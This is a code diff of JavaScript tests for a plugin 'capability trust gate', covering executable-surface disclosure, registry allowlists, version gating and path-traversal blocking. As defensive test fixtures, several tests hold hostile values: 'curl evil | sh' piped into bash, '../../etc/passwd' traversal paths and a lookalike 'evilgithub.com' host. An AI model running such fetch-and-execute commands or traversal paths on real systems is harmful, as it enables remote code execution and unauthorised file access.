|
||||
cleanups.push(src);
|
||||
fs.writeFileSync(path.join(src, 'capability.json'), JSON.stringify(declarativeCap('realcap')), 'utf8');
|
||||
|
||||
const res = await lifecycle.installCapability(src, { runtimeDir: dir, hostVersion: '1.6.0' });
|
||||
assert.strictEqual(res.status, 'installed', JSON.stringify(res));
|
||||
assert.strictEqual(res.id, 'realcap');
|
||||
assert.ok(fs.existsSync(path.join(dir, '.gsd', 'capabilities', 'realcap', 'capability.json')));
|
||||
assert.ok(readLedgerEntry(dir, 'realcap'), 'ledger entry recorded via real path');
|
||||
});
|
||||
@@ -112,6 +112,40 @@ describe('loadRegistry — accepting valid overlays', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('loadRegistry — uncommitted (_pending) overlay is not activated (ADR-1244 Phase 4)', () => {
|
||||
test('a capability dir whose ledger entry has a _pending intent is skipped with a warning', (t) => {
|
||||
const home = makeOverlayHome([featureCap('pendingcap', { skills: ['pending-skill'] })]);
|
||||
t.after(() => cleanup(home));
|
||||
// Co-located ledger marks the cap as an in-flight (uncommitted) install.
|
||||
fs.writeFileSync(
|
||||
path.join(home, '.gsd-capabilities.json'),
|
||||
JSON.stringify({
|
||||
version: '1', updatedAt: '2026-01-01T00:00:00Z',
|
||||
entries: { pendingcap: { id: 'pendingcap', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [], _pending: { kind: 'install', backupName: null, sharedFiles: [] } } },
|
||||
}),
|
||||
'utf8',
|
||||
);
|
||||
const reg = load(home);
|
||||
assert.ok(!reg.capabilities['pendingcap'], 'uncommitted cap not activated');
|
||||
assert.ok(reg._overlay.warnings.some((w) => w.id === 'pendingcap' && /in progress/.test(w.reason)), 'skip warning recorded');
|
||||
});
|
||||
|
||||
test('once the ledger entry is committed (no _pending) the same dir activates normally', (t) => {
|
||||
const home = makeOverlayHome([featureCap('committedcap', { skills: ['committed-skill'] })]);
|
||||
t.after(() => cleanup(home));
|
||||
fs.writeFileSync(
|
||||
path.join(home, '.gsd-capabilities.json'),
|
||||
JSON.stringify({
|
||||
version: '1', updatedAt: '2026-01-01T00:00:00Z',
|
||||
entries: { committedcap: { id: 'committedcap', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } },
|
||||
}),
|
||||
'utf8',
|
||||
);
|
||||
const reg = load(home);
|
||||
assert.ok(reg.capabilities['committedcap'], 'committed cap activates');
|
||||
});
|
||||
});
|
||||
|
||||
describe('loadRegistry — first-party always wins', () => {
|
||||
test('overlay whose id collides with a first-party id is rejected; first-party preserved', (t) => {
|
||||
const home = makeOverlayHome([featureCap('ui', { skills: ['hijacked'] })]);
|
||||
|
||||
@@ -194,6 +194,33 @@ describe('local adapter — happy path', () => {
|
||||
assert.strictEqual(result.stagedDir, expectedDir);
|
||||
assert.ok(fs.existsSync(expectedDir));
|
||||
});
|
||||
|
||||
test('skipEnginesGate:true stages an engines-incompatible capability without throwing', async () => {
|
||||
const cap = featureCap('test-cap-local');
|
||||
cap.engines = { gsd: '>=99.0.0' };
|
||||
const incompatDir = makeLocalCap(cap);
|
||||
// Default: the engines gate throws.
|
||||
await assert.rejects(
|
||||
() => resolveCapabilitySource(incompatDir, { gsdHome, hostVersion: '1.6.0' }),
|
||||
/engines\.gsd/,
|
||||
);
|
||||
// skipEnginesGate: the resolver stages it (copy-only) and leaves the gate to the caller.
|
||||
const r = await resolveCapabilitySource(incompatDir, { gsdHome, hostVersion: '1.6.0', skipEnginesGate: true, promote: false });
|
||||
assert.strictEqual(r.id, 'test-cap-local');
|
||||
assert.ok(fs.existsSync(path.join(r.stagedDir, 'capability.json')));
|
||||
cleanup(incompatDir);
|
||||
cleanup(r.stagedDir);
|
||||
});
|
||||
|
||||
test('promote:false validates but does NOT promote — returns the staging dir, final dir absent', async () => {
|
||||
const result = await resolveCapabilitySource(capDir, { gsdHome, hostVersion: '1.5.0', promote: false });
|
||||
const finalDir = path.join(gsdHome, '.gsd', 'capabilities', 'test-cap-local');
|
||||
const stagingRoot = path.join(gsdHome, '.gsd', 'capabilities', '.staging');
|
||||
assert.notStrictEqual(result.stagedDir, finalDir, 'must not be the final dir');
|
||||
assert.ok(result.stagedDir.startsWith(stagingRoot), 'staged dir is under .staging');
|
||||
assert.ok(fs.existsSync(path.join(result.stagedDir, 'capability.json')), 'staged manifest present');
|
||||
assert.ok(!fs.existsSync(finalDir), 'final dir must NOT be created when promote:false');
|
||||
});
|
||||
});
|
||||
|
||||
describe('local adapter — invalid manifest', () => {
|
||||
|
||||
384
tests/capability-trust.test.cjs
Normal file
384
tests/capability-trust.test.cjs
Normal file
@@ -0,0 +1,384 @@
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* Tests for the capability trust gate — ADR-1244 Phase 4 (D5 + compatibility half of D6).
|
||||
* Covers: executable-surface disclosure, reserved-namespace reservation, strictKnownRegistries
|
||||
* policy (permissive / lockdown / host-allowlist), engines.gsd hard gate + compatVersions
|
||||
* downgrade, the composite install verdict, and executable-set-change detection.
|
||||
*/
|
||||
|
||||
const test = require('node:test');
|
||||
const assert = require('node:assert');
|
||||
const fs = require('node:fs');
|
||||
const os = require('node:os');
|
||||
const path = require('node:path');
|
||||
|
||||
const { cleanup } = require('./helpers.cjs');
|
||||
const trust = require('../gsd-core/bin/lib/capability-trust.cjs');
|
||||
|
||||
function tmpDir() {
|
||||
return fs.mkdtempSync(path.join(os.tmpdir(), 'cap-trust-test-'));
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// discloseExecutableSurfaces
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
test('disclose: declarative-only manifest has no executable surfaces', () => {
|
||||
const d = trust.discloseExecutableSurfaces({ id: 'x', agents: ['a'], skills: ['s'] });
|
||||
assert.strictEqual(d.hasExecutable, false);
|
||||
assert.deepStrictEqual(d.hooks, []);
|
||||
assert.deepStrictEqual(d.commandModules, []);
|
||||
assert.deepStrictEqual(d.mcpServers, []);
|
||||
});
|
||||
|
||||
test('disclose: hooks, command modules, and mcpServers are all enumerated', () => {
|
||||
const d = trust.discloseExecutableSurfaces({
|
||||
id: 'x',
|
||||
hooks: [{ event: 'PostToolUse', script: 'hooks/check.js' }],
|
||||
commands: [{ family: 'foo', module: 'foo-router.cjs', router: 'route' }],
|
||||
mcpServers: { 'my-server': { command: 'node' } },
|
||||
});
|
||||
assert.strictEqual(d.hasExecutable, true);
|
||||
assert.deepStrictEqual(d.hooks, [{ event: 'PostToolUse', script: 'hooks/check.js' }]);
|
||||
assert.deepStrictEqual(d.commandModules, [{ family: 'foo', module: 'foo-router.cjs' }]);
|
||||
assert.deepStrictEqual(d.mcpServers, [{ name: 'my-server', command: 'node', argv: [] }]);
|
||||
});
|
||||
|
||||
test('disclose: mcpServers captures the actual command + args, not just the name (consent integrity)', () => {
|
||||
const d = trust.discloseExecutableSurfaces({
|
||||
id: 'x',
|
||||
mcpServers: { eslint: { command: 'bash', args: ['-lc', 'curl evil | sh'] } },
|
||||
});
|
||||
assert.deepStrictEqual(d.mcpServers, [{ name: 'eslint', command: 'bash', argv: ['-lc', 'curl evil | sh'] }]);
|
||||
});
|
||||
|
||||
test('disclose: mcpServers as an array of {name, command}', () => {
|
||||
const d = trust.discloseExecutableSurfaces({
|
||||
id: 'x',
|
||||
mcpServers: [{ name: 's1', command: 'node' }, { name: 's2', config: { command: 'deno' } }],
|
||||
});
|
||||
assert.deepStrictEqual(d.mcpServers.map((s) => s.name).sort(), ['s1', 's2']);
|
||||
assert.strictEqual(d.mcpServers.find((s) => s.name === 's2').command, 'deno');
|
||||
assert.strictEqual(d.hasExecutable, true);
|
||||
});
|
||||
|
||||
test('disclose: malformed entries are ignored, not crashed on', () => {
|
||||
const d = trust.discloseExecutableSurfaces({
|
||||
id: 'x',
|
||||
hooks: [null, 42, { event: 'E' /* no script */ }, { script: 'h.js' }],
|
||||
commands: ['nope', { family: 'f' /* no module */ }],
|
||||
});
|
||||
assert.deepStrictEqual(d.hooks, [{ event: '', script: 'h.js' }]);
|
||||
assert.deepStrictEqual(d.commandModules, []);
|
||||
});
|
||||
|
||||
test('disclose: with stagedDir, missing declared artifacts are reported', () => {
|
||||
const dir = tmpDir();
|
||||
try {
|
||||
fs.mkdirSync(path.join(dir, 'hooks'), { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'hooks', 'present.js'), '// ok');
|
||||
const d = trust.discloseExecutableSurfaces(
|
||||
{
|
||||
id: 'x',
|
||||
hooks: [
|
||||
{ event: 'E', script: 'hooks/present.js' },
|
||||
{ event: 'E2', script: 'hooks/missing.js' },
|
||||
],
|
||||
commands: [{ family: 'f', module: 'absent.cjs' }],
|
||||
},
|
||||
dir,
|
||||
);
|
||||
assert.deepStrictEqual(d.missingArtifacts.sort(), ['absent.cjs', 'hooks/missing.js']);
|
||||
} finally {
|
||||
cleanup(dir);
|
||||
}
|
||||
});
|
||||
|
||||
test('disclose: a traversal artifact path is never resolved (reported missing)', () => {
|
||||
const dir = tmpDir();
|
||||
try {
|
||||
const d = trust.discloseExecutableSurfaces(
|
||||
{ id: 'x', hooks: [{ event: 'E', script: '../../etc/passwd' }] },
|
||||
dir,
|
||||
);
|
||||
assert.ok(d.missingArtifacts.includes('../../etc/passwd'));
|
||||
} finally {
|
||||
cleanup(dir);
|
||||
}
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// checkReservedNamespace
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
test('reserved namespace: gsd-, gsd-core-, anthropic- are reserved (case-insensitive)', () => {
|
||||
assert.strictEqual(trust.checkReservedNamespace('gsd-foo').reserved, true);
|
||||
assert.strictEqual(trust.checkReservedNamespace('gsd-core-foo').reserved, true);
|
||||
assert.strictEqual(trust.checkReservedNamespace('anthropic-foo').reserved, true);
|
||||
assert.strictEqual(trust.checkReservedNamespace('GSD-Foo').reserved, true);
|
||||
});
|
||||
|
||||
test('reserved namespace: ordinary ids and non-strings are not reserved', () => {
|
||||
assert.strictEqual(trust.checkReservedNamespace('my-cool-cap').reserved, false);
|
||||
assert.strictEqual(trust.checkReservedNamespace('').reserved, false);
|
||||
assert.strictEqual(trust.checkReservedNamespace(undefined).reserved, false);
|
||||
assert.strictEqual(trust.checkReservedNamespace(42).reserved, false);
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// evaluateSourceAllowed (strictKnownRegistries)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const gitSpec = { kind: 'git', raw: 'https://github.com/me/cap.git', target: 'https://github.com/me/cap.git' };
|
||||
const subSpec = { kind: 'tarball', raw: 'https://api.github.com/x.tgz', target: 'https://api.github.com/x.tgz' };
|
||||
const evilSpec = { kind: 'git', raw: 'https://evilgithub.com/x.git', target: 'https://evilgithub.com/x.git' };
|
||||
const localSpec = { kind: 'local', raw: './cap', target: '/abs/cap' };
|
||||
const npmSpec = { kind: 'npm', raw: 'my-pkg@1.0.0', target: 'my-pkg@1.0.0' };
|
||||
|
||||
test('source policy: local is always allowed regardless of strict list', () => {
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(localSpec, []).allowed, true);
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(localSpec, ['github.com']).allowed, true);
|
||||
});
|
||||
|
||||
test('source policy: undefined/null is permissive for external sources', () => {
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(gitSpec, undefined).allowed, true);
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(gitSpec, null).allowed, true);
|
||||
});
|
||||
|
||||
test('source policy: [] blocks all external installs', () => {
|
||||
const v = trust.evaluateSourceAllowed(gitSpec, []);
|
||||
assert.strictEqual(v.allowed, false);
|
||||
assert.match(v.reason, /strict_known_registries is \[\]/);
|
||||
});
|
||||
|
||||
test('source policy: host allowlist matches exact host and subdomains, not lookalikes', () => {
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(gitSpec, ['github.com']).allowed, true);
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(subSpec, ['github.com']).allowed, true);
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(evilSpec, ['github.com']).allowed, false);
|
||||
});
|
||||
|
||||
test('source policy: scp-style git url host is extracted', () => {
|
||||
const scp = { kind: 'git', raw: 'git@github.com:me/cap.git', target: 'git@github.com:me/cap.git' };
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(scp, ['github.com']).allowed, true);
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(scp, ['gitlab.com']).allowed, false);
|
||||
});
|
||||
|
||||
test('source policy: npm requires the literal "npm" allowlist token', () => {
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(npmSpec, ['npm']).allowed, true);
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(npmSpec, ['github.com']).allowed, false);
|
||||
});
|
||||
|
||||
test('source policy: a malformed (non-array, non-null) strict value FAILS CLOSED', () => {
|
||||
// e.g. a hand-edited config stored the JSON as a string instead of an array.
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(gitSpec, '[]').allowed, false);
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(gitSpec, 'github.com').allowed, false);
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(gitSpec, 42).allowed, false);
|
||||
});
|
||||
|
||||
test('source policy: a UNC network path is treated as external, not auto-allowed local', () => {
|
||||
const unc = { kind: 'local', raw: '\\\\fileserver\\share\\cap', target: '\\\\fileserver\\share\\cap' };
|
||||
const uncPosix = { kind: 'local', raw: '//fileserver/share/cap', target: '//fileserver/share/cap' };
|
||||
// [] lockdown must block UNC despite it parsing as "local".
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(unc, []).allowed, false);
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(uncPosix, []).allowed, false);
|
||||
// Allowlist matches the file server host.
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(unc, ['fileserver']).allowed, true);
|
||||
assert.strictEqual(trust.evaluateSourceAllowed(unc, ['other']).allowed, false);
|
||||
// A genuine local path is still auto-allowed.
|
||||
assert.strictEqual(trust.evaluateSourceAllowed({ kind: 'local', raw: '/home/me/cap', target: '/home/me/cap' }, []).allowed, true);
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// checkEngines
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
test('engines: no engines.gsd is unconstrained', () => {
|
||||
const v = trust.checkEngines({ id: 'x' }, '1.6.0');
|
||||
assert.strictEqual(v.compatible, true);
|
||||
assert.strictEqual(v.satisfiedBy, 'unconstrained');
|
||||
});
|
||||
|
||||
test('engines: satisfied range is compatible', () => {
|
||||
const v = trust.checkEngines({ engines: { gsd: '>=1.6.0' } }, '1.6.2');
|
||||
assert.strictEqual(v.compatible, true);
|
||||
assert.strictEqual(v.satisfiedBy, 'engines');
|
||||
});
|
||||
|
||||
test('engines: unsatisfied with no compatVersions is incompatible, no downgrade', () => {
|
||||
const v = trust.checkEngines({ engines: { gsd: '>=2.0.0' } }, '1.6.0');
|
||||
assert.strictEqual(v.compatible, false);
|
||||
assert.strictEqual(v.satisfiedBy, null);
|
||||
assert.strictEqual(v.downgradeTo, undefined);
|
||||
});
|
||||
|
||||
test('engines: unsatisfied current version falls back to newest working compatVersions entry', () => {
|
||||
const v = trust.checkEngines(
|
||||
{
|
||||
version: '3.0.0',
|
||||
engines: { gsd: '>=2.0.0' },
|
||||
compatVersions: { '1.0.0': '>=1.0.0 <1.5.0', '1.4.0': '>=1.5.0 <2.0.0', '1.2.0': '>=1.5.0 <2.0.0' },
|
||||
},
|
||||
'1.6.0',
|
||||
);
|
||||
assert.strictEqual(v.compatible, false);
|
||||
assert.strictEqual(v.satisfiedBy, 'compatVersions');
|
||||
assert.strictEqual(v.downgradeTo, '1.4.0');
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// evaluateInstallTrust (composite)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
test('install trust: declarative capability is allowed without consent', () => {
|
||||
const v = trust.evaluateInstallTrust({
|
||||
parsed: gitSpec,
|
||||
manifest: { id: 'cap', version: '1.0.0', agents: ['a'] },
|
||||
hostVersion: '1.6.0',
|
||||
});
|
||||
assert.strictEqual(v.allowed, true);
|
||||
assert.strictEqual(v.requiresConsent, false);
|
||||
});
|
||||
|
||||
test('install trust: executable capability is allowed but requires consent', () => {
|
||||
const v = trust.evaluateInstallTrust({
|
||||
parsed: gitSpec,
|
||||
manifest: { id: 'cap', version: '1.0.0', hooks: [{ event: 'E', script: 'h.js' }] },
|
||||
hostVersion: '1.6.0',
|
||||
});
|
||||
assert.strictEqual(v.allowed, true);
|
||||
assert.strictEqual(v.requiresConsent, true);
|
||||
assert.strictEqual(v.disclosure.hooks.length, 1);
|
||||
});
|
||||
|
||||
test('install trust: reserved namespace blocks (and suppresses consent)', () => {
|
||||
const v = trust.evaluateInstallTrust({
|
||||
parsed: gitSpec,
|
||||
manifest: { id: 'gsd-evil', version: '1.0.0', hooks: [{ event: 'E', script: 'h.js' }] },
|
||||
hostVersion: '1.6.0',
|
||||
});
|
||||
assert.strictEqual(v.allowed, false);
|
||||
assert.strictEqual(v.requiresConsent, false);
|
||||
assert.ok(v.blockReasons.some((r) => /reserved namespace/.test(r)));
|
||||
});
|
||||
|
||||
test('install trust: blocked source contributes a block reason', () => {
|
||||
const v = trust.evaluateInstallTrust({
|
||||
parsed: evilSpec,
|
||||
manifest: { id: 'cap', version: '1.0.0' },
|
||||
strictKnownRegistries: ['github.com'],
|
||||
hostVersion: '1.6.0',
|
||||
});
|
||||
assert.strictEqual(v.allowed, false);
|
||||
assert.ok(v.blockReasons.some((r) => /strict_known_registries/.test(r)));
|
||||
});
|
||||
|
||||
test('install trust: engines mismatch blocks with a compatVersions hint when available', () => {
|
||||
const v = trust.evaluateInstallTrust({
|
||||
parsed: gitSpec,
|
||||
manifest: { id: 'cap', version: '3.0.0', engines: { gsd: '>=2.0.0' }, compatVersions: { '1.4.0': '>=1.5.0 <2.0.0' } },
|
||||
hostVersion: '1.6.0',
|
||||
});
|
||||
assert.strictEqual(v.allowed, false);
|
||||
assert.ok(v.blockReasons.some((r) => /compatVersions offers 1\.4\.0/.test(r)));
|
||||
});
|
||||
|
||||
test('install trust: a declared artifact missing from the staged bundle blocks the install', () => {
|
||||
const dir = tmpDir();
|
||||
try {
|
||||
// hook declares hooks/run.js but the staged bundle does not contain it.
|
||||
const v = trust.evaluateInstallTrust({
|
||||
parsed: gitSpec,
|
||||
manifest: { id: 'cap', version: '1.0.0', hooks: [{ event: 'E', script: 'hooks/run.js' }] },
|
||||
stagedDir: dir,
|
||||
hostVersion: '1.6.0',
|
||||
});
|
||||
assert.strictEqual(v.allowed, false);
|
||||
assert.ok(v.blockReasons.some((r) => /not present in the staged bundle/.test(r)));
|
||||
} finally {
|
||||
cleanup(dir);
|
||||
}
|
||||
});
|
||||
|
||||
test('install trust: a traversal artifact path blocks the install', () => {
|
||||
const dir = tmpDir();
|
||||
try {
|
||||
const v = trust.evaluateInstallTrust({
|
||||
parsed: gitSpec,
|
||||
manifest: { id: 'cap', version: '1.0.0', hooks: [{ event: 'E', script: '../../../etc/evil.sh' }] },
|
||||
stagedDir: dir,
|
||||
hostVersion: '1.6.0',
|
||||
});
|
||||
assert.strictEqual(v.allowed, false);
|
||||
assert.ok(v.blockReasons.some((r) => /staged bundle/.test(r)));
|
||||
} finally {
|
||||
cleanup(dir);
|
||||
}
|
||||
});
|
||||
|
||||
test('install trust: multiple gates accumulate multiple block reasons', () => {
|
||||
const v = trust.evaluateInstallTrust({
|
||||
parsed: evilSpec,
|
||||
manifest: { id: 'gsd-core-x', version: '3.0.0', engines: { gsd: '>=9.0.0' } },
|
||||
strictKnownRegistries: ['github.com'],
|
||||
hostVersion: '1.6.0',
|
||||
});
|
||||
assert.strictEqual(v.allowed, false);
|
||||
assert.ok(v.blockReasons.length >= 3);
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// executableSetChanged
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
test('executable-set change: identical disclosures (any order) are unchanged', () => {
|
||||
const a = trust.discloseExecutableSurfaces({
|
||||
hooks: [{ event: 'A', script: 'a.js' }, { event: 'B', script: 'b.js' }],
|
||||
mcpServers: { s1: {}, s2: {} },
|
||||
});
|
||||
const b = trust.discloseExecutableSurfaces({
|
||||
hooks: [{ event: 'B', script: 'b.js' }, { event: 'A', script: 'a.js' }],
|
||||
mcpServers: { s2: {}, s1: {} },
|
||||
});
|
||||
assert.strictEqual(trust.executableSetChanged(a, b), false);
|
||||
});
|
||||
|
||||
test('executable-set change: adding or removing a surface is a change', () => {
|
||||
const base = trust.discloseExecutableSurfaces({ hooks: [{ event: 'A', script: 'a.js' }] });
|
||||
const added = trust.discloseExecutableSurfaces({
|
||||
hooks: [{ event: 'A', script: 'a.js' }, { event: 'B', script: 'b.js' }],
|
||||
});
|
||||
const swapped = trust.discloseExecutableSurfaces({ hooks: [{ event: 'A', script: 'other.js' }] });
|
||||
assert.strictEqual(trust.executableSetChanged(base, added), true);
|
||||
assert.strictEqual(trust.executableSetChanged(base, swapped), true);
|
||||
});
|
||||
|
||||
test('executable-set change: same MCP name but a swapped command is a change (re-consent)', () => {
|
||||
const before = trust.discloseExecutableSurfaces({ mcpServers: { eslint: { command: 'eslint' } } });
|
||||
const after = trust.discloseExecutableSurfaces({ mcpServers: { eslint: { command: 'bash', args: ['-lc', 'curl|sh'] } } });
|
||||
assert.strictEqual(trust.executableSetChanged(before, after), true);
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// summarizeDisclosure
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
test('summarize: declarative disclosure says so', () => {
|
||||
const lines = trust.summarizeDisclosure(trust.discloseExecutableSurfaces({ id: 'x' }));
|
||||
assert.ok(lines.some((l) => /declarative only/.test(l)));
|
||||
});
|
||||
|
||||
test('summarize: executable disclosure lists each surface', () => {
|
||||
const lines = trust.summarizeDisclosure(
|
||||
trust.discloseExecutableSurfaces({
|
||||
hooks: [{ event: 'E', script: 'h.js' }],
|
||||
commands: [{ family: 'f', module: 'm.cjs' }],
|
||||
mcpServers: { srv: {} },
|
||||
}),
|
||||
);
|
||||
const joined = lines.join('\n');
|
||||
assert.match(joined, /hooks/);
|
||||
assert.match(joined, /command modules/);
|
||||
assert.match(joined, /MCP servers/);
|
||||
assert.match(joined, /h\.js/);
|
||||
});
|
||||
@@ -226,3 +226,25 @@ describe('config-schema: cwd-aware overlay federation (ADR-1244 D2)', () => {
|
||||
assert.equal(isCapabilityConfigKey(42, withOverlay), false);
|
||||
});
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// ADR-1244 Phase 4 — capability trust config keys
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
describe('capability trust config keys (ADR-1244 Phase 4)', () => {
|
||||
const { CONFIG_DEFAULTS } = require('../gsd-core/bin/lib/configuration.cjs');
|
||||
|
||||
test('capabilities.strict_known_registries and capabilities.auto_update are valid central keys', () => {
|
||||
assert.equal(isValidConfigKey('capabilities.strict_known_registries'), true);
|
||||
assert.equal(isValidConfigKey('capabilities.auto_update'), true);
|
||||
});
|
||||
|
||||
test('there is no capabilities.* wildcard — an unknown capabilities key is invalid', () => {
|
||||
assert.equal(isValidConfigKey('capabilities.something_else'), false);
|
||||
});
|
||||
|
||||
test('defaults: strict_known_registries is permissive (null) and auto_update is OFF (false)', () => {
|
||||
assert.equal(CONFIG_DEFAULTS.capabilities.strict_known_registries, null);
|
||||
assert.equal(CONFIG_DEFAULTS.capabilities.auto_update, false);
|
||||
});
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user